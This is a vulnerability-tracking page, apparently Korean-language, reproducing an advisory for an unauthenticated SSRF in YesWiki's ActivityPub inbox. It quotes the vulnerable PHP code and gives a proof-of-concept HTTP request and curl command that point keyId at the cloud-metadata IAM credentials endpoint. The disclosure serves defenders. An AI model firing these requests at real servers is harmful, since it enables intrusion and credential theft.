Kestrel
대시보드로 돌아가기
CVE-2026-52769HIGH· 8.3GHSA대응게시일: 2026. 07. 09.수정일: 2026. 07. 09.

YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.3high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위변경
영향
기밀성 영향낮음
무결성 영향낮음
가용성 영향낮음
버전별 점수
CVSS 3.18.3HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

상세 설명

Summary

The POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.

The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form (bn_activitypub_enable = '1').

Details

Affected component

  • File: tools/bazar/services/HttpSignatureService.php
  • Method: HttpSignatureService::verifySignature(Request $request)
  • Sink: line 96
  • Route: tools/bazar/controllers/ApiController.php line 125@Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})
bash
1// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD,
2// lines 83100)
3public function verifySignature(Request $request) {
4 if (!$request->headers->has('Signature')) {
5 throw new Exception('No signature');
6 }
7
8 $sigConf = parse_ini_string(
9 strtr($request->headers->get('Signature'), ["," => "\n"]) // (a) attacker controls every field
10 );
11
12 if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) {
13 throw new Exception('Malformed signature');
14 }
15
16 $response = $this->httpClient->request('GET', $sigConf['keyId'], [ // (b) SINK — no validation,
17 'headers' => [ 'Accept' => 'application/ld+json'] // no allowlist, no scheme
18 ]); // pinning, no IP filtering
19 ...
20}

The inbox controller calls verifySignature() before running any cryptography:

bash
1// tools/bazar/controllers/ApiController.php (lines 125145)
2/** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */
3public function postFormActorInbox($formId, Request $request)
4{
5 $activityPubService = $this->getService(ActivityPubService::class);
6 $httpSignatureService = $this->getService(HttpSignatureService::class);
7
8 $form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId];
9
10 if ($activityPubService->isEnabled($form)) {
11 $activity = json_decode($request->getContent(), true);
12
13 $httpSignatureService->verifySignature($request); // <-- SSRF fires here
14 $activityPubService->processActivity($activity, $form);
15 return new ApiResponse(null, Response::HTTP_OK, …);
16 } else {
17 throw new NotFoundHttpException();
18 }
19}

The flow is public ACL → enabled-form gate → unconditional outbound HTTP. The attacker controls only the keyId value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.

End-to-end attack chain

A single HTTP request, no session, no CSRF token, no captcha:

http
1POST /?api/forms/1/actor/inbox HTTP/1.1
2Host: target.example
3Content-Type: application/activity+json
4Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y"
5
6{}
  • The Symfony controller matches the route on formId=1.
  • ActivityPubService::isEnabled($form) returns true (set when the operator turned the feature on).
  • verifySignature() parses the header into a key-value array, finds keyId, and calls httpClient->request('GET', '<attacker URL>').
  • YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain publicKey.publicKeyPem the controller returns an HTTP 500 whose JSON body leaks the full exception message and stack trace, including the URL.

PoC

Pre Reqs

  • Yeswiki v4.6.5 lab image (Setup via podman)
  • ActivityPub enabled on the target form

For the rest of this document:

text
1BASE="http://localhost:8085"
2CTR="yeswiki-poc"

Before we start, make sure ActivityPub is enabled on the target form

sql
1podman exec "$CTR" mysql -uroot yeswiki -e \
2 "SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap
3 FROM yeswiki_nature WHERE bn_id_nature = 1;"

Send the unauthenticated SSRF trigger:

bash
1TARGET="http://127.0.0.1:9999/aws-metadata?from=ssrf"
2
3curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \
4 -H "Content-Type: application/activity+json" \
5 -H "Signature: keyId=\"${TARGET}\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"" \
6 -d '{}' \
7 -w '\n HTTP %{http_code}, elapsed=%{time_total}s\n'

You will get an error in response like this:

text
1{"exceptionMessage":"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\nStack trace:…"}
2 HTTP 500, elapsed=0.15s

The 500 and the "Missing public key" exception are the signal the outbound fetch went all the way to the JSON parse — the listener returned {}, which contained no publicKey field, so the handler bailed after talking to the listener.

Tested with webhook:
<img width="1473" height="678" alt="image" src="https://github.com/user-attachments/assets/6c720c68-3087-4e1a-b990-0a9f12ba8bbc" />

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.